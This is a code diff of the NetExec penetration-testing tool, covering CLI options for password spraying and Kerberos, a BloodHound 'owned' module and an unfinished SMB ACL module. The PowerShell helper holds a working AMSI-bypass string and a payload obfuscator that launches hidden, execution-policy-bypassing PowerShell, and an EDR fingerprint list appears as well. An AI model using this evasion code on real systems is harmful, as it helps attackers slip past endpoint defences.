Compare commits

..
57 changed files with 679 additions and 2084 deletions

No files matched your search

-2
View File
@@ -67,10 +67,8 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+43 -62
View File
@@ -9,7 +9,6 @@ import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
@@ -22,31 +21,10 @@ def gen_cli_args():
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
CODENAME = "nxc4u"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
parser = argparse.ArgumentParser(description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
@@ -64,47 +42,54 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
dns_parser = parser.add_argument_group("DNS")
dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -112,7 +97,7 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
@@ -127,10 +112,6 @@ def gen_cli_args():
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
+5 -15
View File
@@ -412,22 +412,12 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
secret.append(ntlm_hash)
cred_type.append("hash")
# Parse AES keys
if self.args.aesKey:
-10
View File
@@ -1,10 +0,0 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
+53 -45
View File
@@ -12,20 +12,6 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -122,66 +108,91 @@ def obfs_ps_script(path_to_script):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = ""
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
obfs_attempts = 0
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -309,7 +320,6 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -426,7 +436,5 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
return choice(invoke_options)
-1
View File
@@ -98,7 +98,6 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
+1 -1
View File
@@ -104,7 +104,7 @@ class NXCModule:
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.setRemoteHost(self.__host)
rpc_transport.sethost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
+87
View File
@@ -0,0 +1,87 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
-8
View File
@@ -247,14 +247,6 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
-365
View File
@@ -1,365 +0,0 @@
# Module by @syl
# https://twitter.com/5yrull
# S-1-5-21-3750225908-897271529-2201778708-1103
# 'S-1-5-21-3750225908-897271529-2201778708'
# (Pdb) resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
# (Pdb) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
# (Pdb) domainSid
# 'S-1-5-21-3750225908-897271529-2201778708'
# (Pdb) lsat.hLsarLookupSids(dce, policyHandle, ['S-1-5-21-3750225908-897271529-2201778708-1103'],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
# <impacket.dcerpc.v5.lsat.LsarLookupSidsResponse object at 0x7f041cba9d50>
# (Pdb) resp = lsat.hLsarLookupSids(dce, policyHandle, ['S-1-5-21-3750225908-897271529-2201778708-1103'],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
# (Pdb) resp
# <impacket.dcerpc.v5.lsat.LsarLookupSidsResponse object at 0x7f041cba9de0>
# (Pdb) resp.__dict__
# {'_isNDR64': False, 'fields': {'ReferencedDomains': <impacket.dcerpc.v5.lsat.PLSAPR_REFERENCED_DOMAIN_LIST object at 0x7f041cba9ea0>, 'TranslatedNames': <impacket.dcerpc.v5.lsat.LSAPR_TRANSLATED_NAMES object at 0x7f041cba9450>, 'MappedCount': <impacket.dcerpc.v5.ndr.NDRULONG object at 0x7f041cba9270>, 'ErrorCode': <impacket.dcerpc.v5.ndr.NDRULONG object at 0x7f041cba8460>}}
# (Pdb) resp.TranslatedNames
# *** AttributeError: 'LsarLookupSidsResponse' object has no attribute 'TranslatedNames'
# (Pdb) resp["TranslatedNames"]
# <impacket.dcerpc.v5.lsat.LSAPR_TRANSLATED_NAMES object at 0x7f041cba9450>
# (Pdb) resp["TranslatedNames"].__dict__
# {'_isNDR64': False, 'fields': {'Entries': <impacket.dcerpc.v5.ndr.NDRULONG object at 0x7f041cba9960>, 'Names': <impacket.dcerpc.v5.lsat.PLSAPR_TRANSLATED_NAME_ARRAY object at 0x7f041cba9a80>}}
# (Pdb) resp["TranslatedNames"]["Names"]
# [<impacket.dcerpc.v5.lsat.LSAPR_TRANSLATED_NAME object at 0x7f041cba8a60>]
# (Pdb) resp["TranslatedNames"]["Names"][0].__dict_
# *** AttributeError: 'LSAPR_TRANSLATED_NAME' object has no attribute '__dict_'
# (Pdb) resp["TranslatedNames"]["Names"][0].__dict__
# {'_isNDR64': False, 'fields': {'Use': <impacket.dcerpc.v5.samr.SID_NAME_USE object at 0x7f041cba8c70>, 'Name': <impacket.dcerpc.v5.dtypes.RPC_UNICODE_STRING object at 0x7f041cba8be0>, 'DomainIndex': <impacket.dcerpc.v5.ndr.NDRLONG object at 0x7f041cba8ca0>}}
# (Pdb) resp["TranslatedNames"]["Names"][0]["name"]
# *** KeyError: 'name'
# (Pdb) resp["TranslatedNames"]["Names"][0]["Name"]
# 'George.Hotz'
# (Pdb)
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import DCERPCException
from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR
from winacl.functions.constants import SE_OBJECT_TYPE
from winacl.dtyp.ace import FILE_ACCESS_MASK
from termcolor import colored
def get_dce_from_smb(conn):
string_binding = rf"ncacn_np:{conn.remoteName}[\pipe\lsarpc]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_dport(conn.port)
rpctransport.setRemoteHost(conn.host)
rpctransport.set_credentials(conn.username, conn.password, conn.domain, conn.lmhash, conn.nthash)
return rpctransport.get_dce_rpc()
def lookup_sid(dce, sid):
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
policy_response = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policy_handle = policy_response["PolicyHandle"]
sid_response = lsat.hLsarLookupSids(dce, policy_handle, [sid],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
sid_name = sid_response["TranslatedNames"]["Names"][0]["Name"]
dce.disconnect()
return sid_name
AVAILABLE_FILTERS = ["ace_mask", "ace_sid", "owner", "group"]
READ_CONTROL = 0x00020000
FILE_SHARE_READ = 0x00000001
FILE_NON_DIRECTORY_FILE = 0x00000040
FILE_DIRECTORY_FILE = 0x00000001
IMPERSONATION = 0x00000002
class SMBACLEnumerator:
AVAILABLE_FILTERS = ["ace_mask", "ace_sid", "owner", "group"]
def __init__(self, connection, context, module_options) -> None:
self.connection = connection
self.smb_connection = connection.conn
self.context = context
self.module_options = module_options
self.filters = self.parse_filters(self.module_options)
self.shares = self.get_shares()
def get_shares(self):
shares = self.connection.shares()
def parse_filters(self, options: dict) -> dict:
...
def get_security_descriptor() -> None:
...
# def get_security_descriptor(file, smb_connection, context, share_name, file_path, filters=None):
# """
# Retrieve the security descriptor of a file on a share.
# Parameters
# ----------
# file: File object.
# smb_connection: SMB connection instance.
# context: Context for logging.
# share_name: Name of the SMB share.
# file_path: Path of the file.
# filters: Optional filters for security descriptor components.
# Returns
# -------
# None: If the file does not meet the filter criteria.
# """
# file_full_path = file_path + file.get_longname()
# tree_id = smb_connection.connectTree(share_name)
# file_id = create_file(smb_connection, tree_id, file_full_path)
# try:
# security_descriptor = smb_connection._SMBConnection.query_sec_info(tree_id, file_id)
# security_descriptor_obj = parse_security_descriptor(security_descriptor)
# if filters and not passes_filters(security_descriptor_obj, filters):
# return
# log_security_descriptor(context, file_full_path, security_descriptor_obj)
# except SessionError as e:
# context.log.debug(e)
# def create_file(smb_connection, tree_id, file_full_path):
# """Create a file in the SMB share and return its ID."""
# return smb_connection.createFile(
# tree_id,
# file_full_path,
# desiredAccess=READ_CONTROL,
# shareMode=FILE_SHARE_READ,
# creationOption=FILE_NON_DIRECTORY_FILE,
# creationDisposition=FILE_DIRECTORY_FILE,
# fileAttributes=0,
# impersonationLevel=IMPERSONATION,
# )
# def parse_security_descriptor(security_descriptor):
# """Parse the security descriptor from bytes to an object."""
# return SECURITY_DESCRIPTOR.from_bytes(
# security_descriptor, object_type=SE_OBJECT_TYPE.SE_FILE_OBJECT
# )
# def passes_filters(security_descriptor_obj, filters):
# """
# Check if the security descriptor object passes the given filter criteria.
# Parameters
# ----------
# security_descriptor_obj: The security descriptor object.
# filters: Dictionary of filter criteria.
# Returns
# -------
# bool: True if the descriptor passes all filters, False otherwise.
# """
# for filter_type, values in filters.items():
# if filter_type == "owner" and str(security_descriptor_obj.Owner) not in values:
# return False
# if filter_type == "group" and str(security_descriptor_obj.Group) not in values:
# return False
# if filter_type == "ace_sid":
# sids = [str(ace.Sid) for ace in security_descriptor_obj.Dacl.aces]
# if not any(sid in sids for sid in values):
# return False
# if filter_type == "ace_mask":
# masks = [FILE_ACCESS_MASK(ace.Mask).name for ace in security_descriptor_obj.Dacl.aces]
# if not any(mask in masks for mask in values):
# return False
# return True
def log_security_descriptor(context, file_path, descriptor_obj):
"""
Log details about the security descriptor.
Parameters
----------
context: Context for logging.
file_path: Path of the file.
descriptor_obj: The security descriptor object.
"""
context.log.success(file_path)
context.log.highlight(f"\t Owner: {descriptor_obj.Owner}")
context.log.highlight(f"\t Group: {descriptor_obj.Group}")
context.log.highlight(f"\t SACL: {descriptor_obj.Sacl}")
if descriptor_obj.Dacl is not None:
context.log.highlight(f"\t ACEs[{len(descriptor_obj.Dacl.aces)}]: ")
for ace in descriptor_obj.Dacl.aces:
ace_str = str(ace)
if "\r\n" in ace_str:
ace_formatted = ace_str.split("\r\n")[:-1]
for line in ace_formatted:
context.log.highlight(f"\t\t {line}")
context.log.highlight("\t\t " + len(ace_formatted[0]) * "=")
else:
context.log.highlight(f"\t\t {ace_str}")
def get_security_descriptor(conn, file, smb_connection, context, share_name, file_path, filters=None):
"""Retrieving the security descriptor of a certain file on a share"""
tree_id = smb_connection.connectTree(share_name)
dce = get_dce_from_smb(conn)
desired_access = 0x00020000 # READ_CONTROL
share_mode = 0x00000001 # FILE_SHARE_READ
create_options = 0x00000040 # FILE_NON_DIRECTORY_FILE
file_attrs = 0
create_disposition = 0x00000001 # FILE_DIRECTORY_FILE
file_full_path = file_path + file.get_longname()
try:
file_id = smb_connection.createFile(
tree_id,
file_full_path,
desiredAccess=desired_access,
shareMode=share_mode,
creationOption=create_options,
creationDisposition=create_disposition,
fileAttributes=file_attrs,
impersonationLevel=0x00000002, # Impersonation
)
security_descriptor = smb_connection._SMBConnection.query_sec_info(tree_id, file_id)
security_descriptor_obj = SECURITY_DESCRIPTOR.from_bytes(
security_descriptor, object_type=SE_OBJECT_TYPE.SE_FILE_OBJECT
)
if filters:
for _filter, values in filters.items():
if _filter == "owner" and str(security_descriptor_obj.Owner) not in values:
return
if _filter == "group" and str(security_descriptor_obj.Group) not in values:
return
if _filter == "ace_sid":
sids = [str(_ace.Sid) for _ace in security_descriptor_obj.Dacl.aces]
for sid in values:
if sid in sids:
continue
else:
return
if _filter == "ace_mask":
masks = [FILE_ACCESS_MASK(_ace.Mask).name for _ace in security_descriptor_obj.Dacl.aces]
for mask in values:
if mask in masks:
continue
else:
return
context.log.success(file_full_path)
# Also get the user's group to mark it as Owned
# smb_connection._SMBConnection._SMB__userName
